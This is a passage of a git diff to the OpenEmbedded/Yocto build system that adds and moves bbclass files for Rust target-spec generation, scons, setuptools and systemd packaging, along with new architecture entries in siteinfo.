+ if target in ["mips", "mipsel", "powerpc"]:
+ feat = frozenset(d.getVar('TUNE_FEATURES').split())
+ if "mips32r2" in feat:
+ trans['mipsel'] = "mips32r2"
+ trans['mips'] = "mips32r2"
+ elif "mips32" in feat:
+ trans['mipsel'] = "mips32"
+ trans['mips'] = "mips32"
+ elif "ppc7400" in feat:
+ trans['powerpc'] = "7400"
+
+ try:
+ return trans[cpu]
+ except:
+ return trans.get(target, "generic")
+
+llvm_cpu[vardepvalue] = "${@llvm_cpu(d)}"
+
+def rust_gen_target(d, thing, wd, arch):
+ import json
+
+ build_sys = d.getVar('BUILD_SYS')
+ target_sys = d.getVar('TARGET_SYS')
+
+ sys = d.getVar('{}_SYS'.format(thing))
+ prefix = d.getVar('{}_PREFIX'.format(thing))
+ rustsys = d.getVar('RUST_{}_SYS'.format(thing))
+
+ abi = None
+ cpu = "generic"
+ features = ""
+
+ # Need to apply the target tuning consitently, only if the triplet applies to the target
+ # and not in the native case
+ if sys == target_sys and sys != build_sys:
+ abi = d.getVar('ABIEXTENSION')
+ cpu = llvm_cpu(d)
+ if bb.data.inherits_class('native', d):
+ features = ','.join(llvm_features_from_cc_arch(d))
+ else:
+ features = llvm_features(d) or ""
+ # arm and armv7 have different targets in llvm
+ if arch == "arm" and target_is_armv7(d):
+ arch = 'armv7'
+
+ rust_arch = oe.rust.arch_to_rust_arch(arch)
+
+ if abi:
+ arch_abi = "{}-{}".format(rust_arch, abi)
+ else:
+ arch_abi = rust_arch
+
+ features = features or d.getVarFlag('FEATURES', arch_abi) or ""
+ features = features.strip()
+
+ # build tspec
+ tspec = {}
+ tspec['llvm-target'] = rust_sys_to_llvm_target(rustsys)
+ tspec['data-layout'] = d.getVarFlag('DATA_LAYOUT', arch_abi)
+ if tspec['data-layout'] is None:
+ bb.fatal("No rust target defined for %s" % arch_abi)
+ tspec['max-atomic-width'] = int(d.getVarFlag('MAX_ATOMIC_WIDTH', arch_abi))
+ tspec['target-pointer-width'] = d.getVarFlag('TARGET_POINTER_WIDTH', arch_abi)
+ tspec['target-c-int-width'] = d.getVarFlag('TARGET_C_INT_WIDTH', arch_abi)
+ tspec['target-endian'] = d.getVarFlag('TARGET_ENDIAN', arch_abi)
+ tspec['arch'] = arch_to_rust_target_arch(rust_arch)
+ if "baremetal" in d.getVar('TCLIBC'):
+ tspec['os'] = "none"
+ else:
+ tspec['os'] = "linux"
+ if "musl" in tspec['llvm-target']:
+ tspec['env'] = "musl"
+ else:
+ tspec['env'] = "gnu"
+ if "riscv64" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "lp64d"
+ if "riscv32" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "ilp32d"
+ if "loongarch64" in tspec['llvm-target']:
+ tspec['llvm-abiname'] = "lp64d"
+ tspec['vendor'] = "unknown"
+ tspec['target-family'] = "unix"
+ tspec['linker'] = "{}{}gcc".format(d.getVar('CCACHE'), prefix)
+ tspec['cpu'] = cpu
+ if features != "":
+ tspec['features'] = features
+ tspec['dynamic-linking'] = True
+ tspec['executables'] = True
+ tspec['linker-is-gnu'] = True
+ tspec['linker-flavor'] = "gcc"
+ tspec['has-rpath'] = True
+ tspec['position-independent-executables'] = True
+ tspec['panic-strategy'] = d.getVar("RUST_PANIC_STRATEGY")
+
+ # write out the target spec json file
+ with open(wd + rustsys + '.json', 'w') as f:
+ json.dump(tspec, f, indent=4)
+
+# These are accounted for in tmpdir path names so don't need to be in the task sig
+rust_gen_target[vardepsexclude] += "ABIEXTENSION llvm_cpu"
+
+do_rust_gen_targets[vardeps] += "DATA_LAYOUT TARGET_ENDIAN TARGET_POINTER_WIDTH TARGET_C_INT_WIDTH MAX_ATOMIC_WIDTH FEATURES"
+
+RUST_TARGETS_DIR = "${WORKDIR}/rust-targets/"
+export RUST_TARGET_PATH = "${RUST_TARGETS_DIR}"
+
+python do_rust_gen_targets () {
+ wd = d.getVar('RUST_TARGETS_DIR')
+ # Order of BUILD, HOST, TARGET is important in case the files overwrite, most specific last
+ rust_gen_target(d, 'BUILD', wd, d.getVar('BUILD_ARCH'))
+ rust_gen_target(d, 'HOST', wd, d.getVar('HOST_ARCH'))
+ rust_gen_target(d, 'TARGET', wd, d.getVar('TARGET_ARCH'))
+}
+
+addtask rust_gen_targets after do_patch before do_compile
+do_rust_gen_targets[dirs] += "${RUST_TARGETS_DIR}"
+
+# For building target C dependecies use only compiler parameters defined in OE
+# and ignore the CC crate defaults which conflicts with OE ones in some cases.
+# https://github.com/rust-lang/cc-rs#external-configuration-via-environment-variables
+# Some CC crate compiler flags are still required.
+# We apply them conditionally in rust wrappers.
+
+CRATE_CC_FLAGS:class-native = ""
+CRATE_CC_FLAGS:class-nativesdk = ""
+CRATE_CC_FLAGS:class-target = " -ffunction-sections -fdata-sections -fPIC"
+
+do_compile:prepend:class-target() {
+ export CRATE_CC_NO_DEFAULTS=1
+}
+do_install:prepend:class-target() {
+ export CRATE_CC_NO_DEFAULTS=1
+}
diff --git a/meta/classes-recipe/rust.bbclass b/meta/classes-recipe/rust.bbclass
new file mode 100644
index 0000000000..dae25cac2a
--- /dev/null
+++ b/meta/classes-recipe/rust.bbclass
@@ -0,0 +1,51 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit rust-common
+
+RUSTC = "rustc"
+
+RUSTC_ARCHFLAGS += "--target=${RUST_HOST_SYS} ${RUSTFLAGS}"
+
+def rust_base_dep(d):
+ # Taken from meta/classes/base.bbclass `base_dep_prepend` and modified to
+ # use rust instead of gcc
+ deps = ""
+ if not d.getVar('INHIBIT_DEFAULT_RUST_DEPS'):
+ if (d.getVar('HOST_SYS') != d.getVar('BUILD_SYS')):
+ deps += " rust-native ${RUSTLIB_DEP}"
+ else:
+ deps += " rust-native"
+ return deps
+
+DEPENDS:append = " ${@rust_base_dep(d)}"
+
+# BUILD_LDFLAGS
+# ${STAGING_LIBDIR_NATIVE}
+# ${STAGING_BASE_LIBDIR_NATIVE}
+# BUILDSDK_LDFLAGS
+# ${STAGING_LIBDIR}
+# #{STAGING_DIR_HOST}
+# TARGET_LDFLAGS ?????
+#RUSTC_BUILD_LDFLAGS = "\
+# --sysroot ${STAGING_DIR_NATIVE} \
+# -L${STAGING_LIBDIR_NATIVE} \
+# -L${STAGING_BASE_LIBDIR_NATIVE} \
+#"
+
+# XXX: for some reason bitbake sets BUILD_* & TARGET_* but uses the bare
+# variables for HOST. Alias things to make it easier for us.
+HOST_LDFLAGS ?= "${LDFLAGS}"
+HOST_CFLAGS ?= "${CFLAGS}"
+HOST_CXXFLAGS ?= "${CXXFLAGS}"
+HOST_CPPFLAGS ?= "${CPPFLAGS}"
+
+rustlib_suffix="${TUNE_ARCH}${TARGET_VENDOR}-${TARGET_OS}/rustlib/${RUST_HOST_SYS}/lib"
+# Native sysroot standard library path
+rustlib_src="${prefix}/lib/${rustlib_suffix}"
+# Host sysroot standard library path
+rustlib="${libdir}/${rustlib_suffix}"
+rustlib:class-native="${libdir}/rustlib/${BUILD_SYS}/lib"
diff --git a/meta/classes-recipe/scons.bbclass b/meta/classes-recipe/scons.bbclass
new file mode 100644
index 0000000000..d20a78dc6e
--- /dev/null
+++ b/meta/classes-recipe/scons.bbclass
@@ -0,0 +1,40 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit python3native
+
+DEPENDS += "python3-scons-native"
+
+EXTRA_OESCONS ?= ""
+# This value below is derived from $(getconf ARG_MAX)
+SCONS_MAXLINELENGTH ?= "MAXLINELENGTH=2097152"
+EXTRA_OESCONS:append = " ${SCONS_MAXLINELENGTH}"
+do_configure() {
+ if [ -n "${CONFIGURESTAMPFILE}" -a "${S}" = "${B}" ]; then
+ if [ -e "${CONFIGURESTAMPFILE}" -a "`cat ${CONFIGURESTAMPFILE}`" != "${BB_TASKHASH}" -a "${CLEANBROKEN}" != "1" ]; then
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} --clean PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS}
+ fi
+
+ mkdir -p `dirname ${CONFIGURESTAMPFILE}`
+ echo ${BB_TASKHASH} > ${CONFIGURESTAMPFILE}
+ fi
+}
+
+scons_do_compile() {
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} ${PARALLEL_MAKE} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} || \
+ die "scons build execution failed."
+}
+
+scons_do_install() {
+ ${STAGING_BINDIR_NATIVE}/scons --directory=${S} install_root=${D}${prefix} PREFIX=${prefix} prefix=${prefix} ${EXTRA_OESCONS} install || \
+ die "scons install execution failed."
+}
+
+do_configure[vardepsexclude] = "SCONS_MAXLINELENGTH"
+do_compile[vardepsexclude] = "SCONS_MAXLINELENGTH"
+do_install[vardepsexclude] = "SCONS_MAXLINELENGTH"
+
+EXPORT_FUNCTIONS do_compile do_install
diff --git a/meta/classes-recipe/setuptools3-base.bbclass b/meta/classes-recipe/setuptools3-base.bbclass
new file mode 100644
index 0000000000..27af6abc58
--- /dev/null
+++ b/meta/classes-recipe/setuptools3-base.bbclass
@@ -0,0 +1,30 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+DEPENDS:append:class-target = " python3-native python3"
+DEPENDS:append:class-nativesdk = " python3-native python3"
+RDEPENDS:${PN}:append:class-target = " python3-core"
+
+export STAGING_INCDIR
+export STAGING_LIBDIR
+
+# LDSHARED is the ld *command* used to create shared library
+export LDSHARED = "${CCLD} -shared"
+# LDXXSHARED is the ld *command* used to create shared library of C++
+# objects
+export LDCXXSHARED = "${CXX} -shared"
+# CCSHARED are the C *flags* used to create objects to go into a shared
+# library (module)
+export CCSHARED = "-fPIC -DPIC"
+# LINKFORSHARED are the flags passed to the $(CC) command that links
+# the python executable
+export LINKFORSHARED = "${SECURITY_CFLAGS} -Xlinker -export-dynamic"
+
+FILES:${PN} += "${PYTHON_SITEPACKAGES_DIR}"
+FILES:${PN}-staticdev += "${PYTHON_SITEPACKAGES_DIR}/*.a"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/*.la"
+
+inherit python3native python3targetconfig
diff --git a/meta/classes-recipe/setuptools3.bbclass b/meta/classes-recipe/setuptools3.bbclass
new file mode 100644
index 0000000000..d71a089539
--- /dev/null
+++ b/meta/classes-recipe/setuptools3.bbclass
@@ -0,0 +1,38 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+inherit setuptools3-base python_pep517
+
+DEPENDS += "python3-setuptools-native python3-wheel-native"
+
+SETUPTOOLS_BUILD_ARGS ?= ""
+
+SETUPTOOLS_SETUP_PATH ?= "${S}"
+
+setuptools3_do_configure() {
+ :
+}
+
+setuptools3_do_compile() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ NO_FETCH_BUILD=1 \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 setup.py \
+ bdist_wheel --verbose --dist-dir ${PEP517_WHEEL_PATH} ${SETUPTOOLS_BUILD_ARGS} || \
+ bbfatal_log "'python3 setup.py bdist_wheel ${SETUPTOOLS_BUILD_ARGS}' execution failed."
+}
+setuptools3_do_compile[vardepsexclude] = "MACHINE"
+do_compile[cleandirs] += "${PEP517_WHEEL_PATH}"
+
+# This could be removed in the future but some recipes in meta-oe still use it
+setuptools3_do_install() {
+ python_pep517_do_install
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
+
+export LDSHARED="${CCLD} -shared"
diff --git a/meta/classes-recipe/setuptools3_legacy.bbclass b/meta/classes-recipe/setuptools3_legacy.bbclass
new file mode 100644
index 0000000000..264b1f5cfb
--- /dev/null
+++ b/meta/classes-recipe/setuptools3_legacy.bbclass
@@ -0,0 +1,84 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# This class is for packages which use the deprecated setuptools behaviour,
+# specifically custom install tasks which don't work correctly with bdist_wheel.
+# This behaviour is deprecated in setuptools[1] and won't work in the future, so
+# all users of this should consider their options: pure Python modules can use a
+# modern Python tool such as build[2], or packages which are doing more (such as
+# installing init scripts) should use a fully-featured build system such as Meson.
+#
+# [1] https://setuptools.pypa.io/en/latest/history.html#id142
+# [2] https://pypi.org/project/build/
+
+inherit setuptools3-base
+
+B = "${WORKDIR}/build"
+
+SETUPTOOLS_BUILD_ARGS ?= ""
+SETUPTOOLS_INSTALL_ARGS ?= "--root=${D} \
+ --prefix=${prefix} \
+ --install-lib=${PYTHON_SITEPACKAGES_DIR} \
+ --install-data=${datadir}"
+
+SETUPTOOLS_PYTHON = "python3"
+SETUPTOOLS_PYTHON:class-native = "nativepython3"
+
+SETUPTOOLS_SETUP_PATH ?= "${S}"
+
+setuptools3_legacy_do_configure() {
+ :
+}
+
+setuptools3_legacy_do_compile() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ NO_FETCH_BUILD=1 \
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 setup.py \
+ build --build-base=${B} ${SETUPTOOLS_BUILD_ARGS} || \
+ bbfatal_log "'python3 setup.py build ${SETUPTOOLS_BUILD_ARGS}' execution failed."
+}
+setuptools3_legacy_do_compile[vardepsexclude] = "MACHINE"
+
+setuptools3_legacy_do_install() {
+ cd ${SETUPTOOLS_SETUP_PATH}
+ install -d ${D}${PYTHON_SITEPACKAGES_DIR}
+ STAGING_INCDIR=${STAGING_INCDIR} \
+ STAGING_LIBDIR=${STAGING_LIBDIR} \
+ PYTHONPATH=${D}${PYTHON_SITEPACKAGES_DIR}:$PYTHONPATH \
+ ${STAGING_BINDIR_NATIVE}/python3-native/python3 setup.py \
+ build --build-base=${B} install --skip-build ${SETUPTOOLS_INSTALL_ARGS} || \
+ bbfatal_log "'python3 setup.py install ${SETUPTOOLS_INSTALL_ARGS}' execution failed."
+
+ # support filenames with *spaces*
+ find ${D} -name "*.py" -exec grep -q ${D} {} \; \
+ -exec sed -i -e s:${D}::g {} \;
+
+ for i in ${D}${bindir}/* ${D}${sbindir}/*; do
+ if [ -f "$i" ]; then
+ sed -i -e s:${PYTHON}:${USRBINPATH}/env\ ${SETUPTOOLS_PYTHON}:g $i
+ sed -i -e s:${STAGING_BINDIR_NATIVE}:${bindir}:g $i
+ fi
+ done
+
+ rm -f ${D}${PYTHON_SITEPACKAGES_DIR}/easy-install.pth
+
+ #
+ # FIXME: Bandaid against wrong datadir computation
+ #
+ if [ -e ${D}${datadir}/share ]; then
+ mv -f ${D}${datadir}/share/* ${D}${datadir}/
+ rmdir ${D}${datadir}/share
+ fi
+}
+setuptools3_legacy_do_install[vardepsexclude] = "MACHINE"
+
+EXPORT_FUNCTIONS do_configure do_compile do_install
+
+export LDSHARED="${CCLD} -shared"
+DEPENDS += "python3-setuptools-native"
+
diff --git a/meta/classes/siteinfo.bbclass b/meta/classes-recipe/siteinfo.bbclass
index 1a048c053f..68aefb8eda 100644
--- a/meta/classes/siteinfo.bbclass
+++ b/meta/classes-recipe/siteinfo.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# This class exists to provide information about the targets that
# may be needed by other classes and/or recipes. If you add a new
# target this will probably need to be updated.
@@ -33,6 +39,8 @@ def siteinfo_data_for_machine(arch, os, d):
"i686": "endian-little bit-32 ix86-common",
"ia64": "endian-little bit-64",
"lm32": "endian-big bit-32",
+ "loongarch32": "endian-little bit-32 loongarch",
+ "loongarch64": "endian-little bit-64 loongarch",
"m68k": "endian-big bit-32",
"microblaze": "endian-big bit-32 microblaze-common",
"microblazeel": "endian-little bit-32 microblaze-common",
@@ -45,6 +53,7 @@ def siteinfo_data_for_machine(arch, os, d):
"mipsisa32r6": "endian-big bit-32 mips-common",
"mipsisa32r6el": "endian-little bit-32 mips-common",
"powerpc": "endian-big bit-32 powerpc-common",
+ "powerpcle": "endian-little bit-32 powerpc-common",
"nios2": "endian-little bit-32 nios2-common",
"powerpc64": "endian-big bit-64 powerpc-common",
"powerpc64le": "endian-little bit-64 powerpc-common",
@@ -54,7 +63,9 @@ def siteinfo_data_for_machine(arch, os, d):
"riscv32": "endian-little bit-32 riscv-common",
"riscv64": "endian-little bit-64 riscv-common",
"sh3": "endian-little bit-32 sh-common",
+ "sh3eb": "endian-big bit-32 sh-common",
"sh4": "endian-little bit-32 sh-common",
+ "sh4eb": "endian-big bit-32 sh-common",
"sparc": "endian-big bit-32",
"viac3": "endian-little bit-32 ix86-common",
"x86_64": "endian-little", # bitinfo specified in targetinfo
@@ -62,6 +73,8 @@ def siteinfo_data_for_machine(arch, os, d):
osinfo = {
"darwin": "common-darwin",
"darwin9": "common-darwin",
+ "darwin19": "common-darwin",
+ "darwin21": "common-darwin",
"linux": "common-linux common-glibc",
"linux-gnu": "common-linux common-glibc",
"linux-gnu_ilp32": "common-linux common-glibc",
@@ -88,6 +101,8 @@ def siteinfo_data_for_machine(arch, os, d):
"arm-linux-musleabi": "arm-linux",
"armeb-linux-gnueabi": "armeb-linux",
"armeb-linux-musleabi": "armeb-linux",
+ "loongarch32-linux": "loongarch32-linux",
+ "loongarch64-linux": "loongarch64-linux",
"microblazeel-linux" : "microblaze-linux",
"microblazeel-linux-musl" : "microblaze-linux",
"mips-linux-musl": "mips-linux",
@@ -98,16 +113,18 @@ def siteinfo_data_for_machine(arch, os, d):
"mips64el-linux-gnun32": "mipsel-linux bit-32",
"mipsisa64r6-linux-gnun32": "mipsisa32r6-linux bit-32",
"mipsisa64r6el-linux-gnun32": "mipsisa32r6el-linux bit-32",
- "powerpc-linux": "powerpc32-linux",
- "powerpc-linux-musl": "powerpc-linux powerpc32-linux",
- "powerpc-linux-gnuspe": "powerpc-linux powerpc32-linux",
- "powerpc-linux-muslspe": "powerpc-linux powerpc32-linux",
- "powerpc64-linux-gnuspe": "powerpc-linux powerpc64-linux",
- "powerpc64-linux-muslspe": "powerpc-linux powerpc64-linux",
- "powerpc64-linux": "powerpc-linux powerpc64-linux",
- "powerpc64-linux-musl": "powerpc-linux powerpc64-linux",
- "powerpc64le-linux": "powerpc-linux powerpc64-linux",
- "powerpc64le-linux-musl": "powerpc-linux powerpc64-linux",
+ "powerpc-linux": "powerpc32-linux powerpc32-linux-glibc",
+ "powerpc-linux-musl": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpcle-linux": "powerpc32-linux powerpc32-linux-glibc",
+ "powerpcle-linux-musl": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpc-linux-gnuspe": "powerpc-linux powerpc32-linux powerpc32-linux-glibc",
+ "powerpc-linux-muslspe": "powerpc-linux powerpc32-linux powerpc32-linux-musl",
+ "powerpc64-linux-gnuspe": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64-linux-muslspe": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
+ "powerpc64-linux": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64-linux-musl": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
+ "powerpc64le-linux": "powerpc-linux powerpc64-linux powerpc64-linux-glibc",
+ "powerpc64le-linux-musl": "powerpc-linux powerpc64-linux powerpc64-linux-musl",
"riscv32-linux": "riscv32-linux",
"riscv32-linux-musl": "riscv32-linux",
"riscv64-linux": "riscv64-linux",
@@ -115,6 +132,8 @@ def siteinfo_data_for_machine(arch, os, d):
"x86_64-cygwin": "bit-64",
"x86_64-darwin": "bit-64",
"x86_64-darwin9": "bit-64",
+ "x86_64-darwin19": "bit-64",
+ "x86_64-darwin21": "bit-64",
"x86_64-linux": "bit-64",
"x86_64-linux-musl": "x86_64-linux bit-64",
"x86_64-linux-muslx32": "bit-32 ix86-common x32-linux",
@@ -171,17 +190,39 @@ python () {
bb.fatal("Please add your architecture to siteinfo.bbclass")
}
-def siteinfo_get_files(d, sysrootcache = False):
+# Layers with siteconfig need to add a replacement path to this variable so the
+# sstate isn't path specific
+SITEINFO_PATHVARS = "COREBASE"
+
+def siteinfo_get_files(d, sysrootcache=False):
sitedata = siteinfo_data(d)
- sitefiles = ""
+ sitefiles = []
+ searched = []
for path in d.getVar("BBPATH").split(":"):
for element in sitedata:
filename = os.path.join(path, "site", element)
if os.path.exists(filename):
- sitefiles += filename + " "
+ searched.append(filename + ":True")
+ sitefiles.append(filename)
+ else:
+ searched.append(filename + ":False")
+
+ # Have to parameterise out hardcoded paths such as COREBASE for the main site files
+ for var in d.getVar("SITEINFO_PATHVARS").split():
+ searched2 = []
+ replace = os.path.normpath(d.getVar(var))
+ for s in searched:
+ searched2.append(s.replace(replace, "${" + var + "}"))
+ searched = searched2
+
+ if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
+ # We need sstate sigs for native/cross not to vary upon arch so we can't depend on the site files.
+ # In future we may want to depend upon all site files?
+ # This would show up as breaking sstatetests.SStateTests.test_sstate_32_64_same_hash for example
+ searched = []
if not sysrootcache:
- return sitefiles
+ return sitefiles, searched
# Now check for siteconfig cache files in sysroots
path_siteconfig = d.getVar('SITECONFIG_SYSROOTCACHE')
@@ -190,8 +231,8 @@ def siteinfo_get_files(d, sysrootcache = False):
if not i.endswith("_config"):
continue
filename = os.path.join(path_siteconfig, i)
- sitefiles += filename + " "
- return sitefiles
+ sitefiles.append(filename)
+ return sitefiles, searched
#
# Make some information available via variables
diff --git a/meta/classes/syslinux.bbclass b/meta/classes-recipe/syslinux.bbclass
index 894f6b3718..be3b898b4d 100644
--- a/meta/classes/syslinux.bbclass
+++ b/meta/classes-recipe/syslinux.bbclass
@@ -1,6 +1,6 @@
# syslinux.bbclass
-# Copyright (C) 2004-2006, Advanced Micro Devices, Inc. All Rights Reserved
-# Released under the MIT license (see packages/COPYING)
+# Copyright (C) 2004-2006, Advanced Micro Devices, Inc.
+# SPDX-License-Identifier: MIT
# Provide syslinux specific functions for building bootable images.
diff --git a/meta/classes/systemd-boot-cfg.bbclass b/meta/classes-recipe/systemd-boot-cfg.bbclass
index b3e0e6ad41..12da41ebad 100644
--- a/meta/classes/systemd-boot-cfg.bbclass
+++ b/meta/classes-recipe/systemd-boot-cfg.bbclass
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
SYSTEMD_BOOT_CFG ?= "${S}/loader.conf"
SYSTEMD_BOOT_ENTRIES ?= ""
SYSTEMD_BOOT_TIMEOUT ?= "10"
@@ -29,7 +35,7 @@ python build_efi_cfg() {
bb.fatal('Unable to open %s' % cfile)
cfgfile.write('# Automatically created by OE\n')
- cfgfile.write('default %s\n' % (labels.split()[0]))
+ cfgfile.write('default %s.conf\n' % (labels.split()[0]))
timeout = d.getVar('SYSTEMD_BOOT_TIMEOUT')
if timeout:
cfgfile.write('timeout %s\n' % timeout)
diff --git a/meta/classes/systemd-boot.bbclass b/meta/classes-recipe/systemd-boot.bbclass
index 336c4c2ff5..5aa32dd997 100644
--- a/meta/classes/systemd-boot.bbclass
+++ b/meta/classes-recipe/systemd-boot.bbclass
@@ -1,6 +1,6 @@
# Copyright (C) 2016 Intel Corporation
#
-# Released under the MIT license (see COPYING.MIT)
+# SPDX-License-Identifier: MIT
# systemd-boot.bbclass - The "systemd-boot" is essentially the gummiboot merged into systemd.
# The original standalone gummiboot project is dead without any more
@@ -28,7 +28,7 @@ efi_populate() {
done
}
-efi_iso_populate_append() {
+efi_iso_populate:append() {
cp -r $iso_dir/loader ${EFIIMGDIR}
}
diff --git a/meta/classes/systemd.bbclass b/meta/classes-recipe/systemd.bbclass
index 9e8a82c9f1..48b364c1d4 100644
--- a/meta/classes/systemd.bbclass
+++ b/meta/classes-recipe/systemd.bbclass
@@ -1,9 +1,15 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
# The list of packages that should have systemd packaging scripts added. For
-# each entry, optionally have a SYSTEMD_SERVICE_[package] that lists the service
+# each entry, optionally have a SYSTEMD_SERVICE:[package] that lists the service
# files in this package. If this variable isn't set, [package].service is used.
SYSTEMD_PACKAGES ?= "${PN}"
-SYSTEMD_PACKAGES_class-native ?= ""
-SYSTEMD_PACKAGES_class-nativesdk ?= ""
+SYSTEMD_PACKAGES:class-native ?= ""
+SYSTEMD_PACKAGES:class-nativesdk ?= ""
# Whether to enable or disable the services on installation.
SYSTEMD_AUTO_ENABLE ??= "enable"
@@ -23,7 +29,7 @@ python __anonymous() {
}
systemd_postinst() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
OPTS=""
if [ -n "$D" ]; then
@@ -48,7 +54,7 @@ fi
}
systemd_prerm() {
-if type systemctl >/dev/null 2>/dev/null; then
+if systemctl >/dev/null 2>/dev/null; then
if [ -z "$D" ]; then
systemctl stop ${SYSTEMD_SERVICE_ESCAPED}
@@ -70,7 +76,7 @@ python systemd_populate_packages() {
return
def get_package_var(d, var, pkg):
- val = (d.getVar('%s_%s' % (var, pkg)) or "").strip()
+ val = (d.getVar('%s:%s' % (var, pkg)) or "").strip()
if val == "":
val = (d.getVar(var) or "").strip()
return val
@@ -85,39 +91,39 @@ python systemd_populate_packages() {
def systemd_generate_package_scripts(pkg):
bb.debug(1, 'adding systemd calls to postinst/postrm for %s' % pkg)
- paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE_' + pkg).split())
- d.setVar('SYSTEMD_SERVICE_ESCAPED_' + pkg, paths_escaped)
+ paths_escaped = ' '.join(shlex.quote(s) for s in d.getVar('SYSTEMD_SERVICE:' + pkg).split())
+ d.setVar('SYSTEMD_SERVICE_ESCAPED:' + pkg, paths_escaped)
- # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE_pkg
+ # Add pkg to the overrides so that it finds the SYSTEMD_SERVICE:pkg
# variable.
localdata = d.createCopy()
localdata.prependVar("OVERRIDES", pkg + ":")
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('systemd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('systemd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- # Add files to FILES_*-systemd if existent and not already done
+ # Add files to FILES:*-systemd if existent and not already done
def systemd_append_file(pkg_systemd, file_append):
appended = False
if os.path.exists(oe.path.join(d.getVar("D"), file_append)):
- var_name = "FILES_" + pkg_systemd
+ var_name = "FILES:" + pkg_systemd
files = d.getVar(var_name, False) or ""
if file_append not in files.split():
d.appendVar(var_name, " " + file_append)
appended = True
return appended
- # Add systemd files to FILES_*-systemd, parse for Also= and follow recursive
+ # Add systemd files to FILES:*-systemd, parse for Also= and follow recursive
def systemd_add_files_and_parse(pkg_systemd, path, service, keys):
# avoid infinite recursion
if systemd_append_file(pkg_systemd, oe.path.join(path, service)):
@@ -146,6 +152,7 @@ python systemd_populate_packages() {
def systemd_check_services():
searchpaths = [oe.path.join(d.getVar("sysconfdir"), "systemd", "system"),]
searchpaths.append(d.getVar("systemd_system_unitdir"))
+ searchpaths.append(d.getVar("systemd_user_unitdir"))
systemd_packages = d.getVar('SYSTEMD_PACKAGES')
keys = 'Also'
@@ -163,7 +170,7 @@ python systemd_populate_packages() {
base = service[:at] + '@' + service[ext:]
for path in searchpaths:
- if os.path.exists(oe.path.join(d.getVar("D"), path, service)):
+ if os.path.lexists(oe.path.join(d.getVar("D"), path, service)):
path_found = path
break
elif base is not None:
@@ -174,31 +181,32 @@ python systemd_populate_packages() {
if path_found != '':
systemd_add_files_and_parse(pkg_systemd, path_found, service, keys)
else:
- bb.fatal("SYSTEMD_SERVICE_%s value %s does not exist" % (pkg_systemd, service))
+ bb.fatal("Didn't find service unit '{0}', specified in SYSTEMD_SERVICE:{1}. {2}".format(
+ service, pkg_systemd, "Also looked for service unit '{0}'.".format(base) if base is not None else ""))
def systemd_create_presets(pkg, action):
presetf = oe.path.join(d.getVar("PKGD"), d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg)
bb.utils.mkdirhier(os.path.dirname(presetf))
with open(presetf, 'a') as fd:
- for service in d.getVar('SYSTEMD_SERVICE_%s' % pkg).split():
+ for service in d.getVar('SYSTEMD_SERVICE:%s' % pkg).split():
fd.write("%s %s\n" % (action,service))
- d.appendVar("FILES_%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
+ d.appendVar("FILES:%s" % pkg, ' ' + oe.path.join(d.getVar("systemd_unitdir"), "system-preset/98-%s.preset" % pkg))
# Run all modifications once when creating package
if os.path.exists(d.getVar("D")):
for pkg in d.getVar('SYSTEMD_PACKAGES').split():
systemd_check_package(pkg)
- if d.getVar('SYSTEMD_SERVICE_' + pkg):
+ if d.getVar('SYSTEMD_SERVICE:' + pkg):
systemd_generate_package_scripts(pkg)
action = get_package_var(d, 'SYSTEMD_AUTO_ENABLE', pkg)
if action in ("enable", "disable"):
systemd_create_presets(pkg, action)
elif action not in ("mask", "preset"):
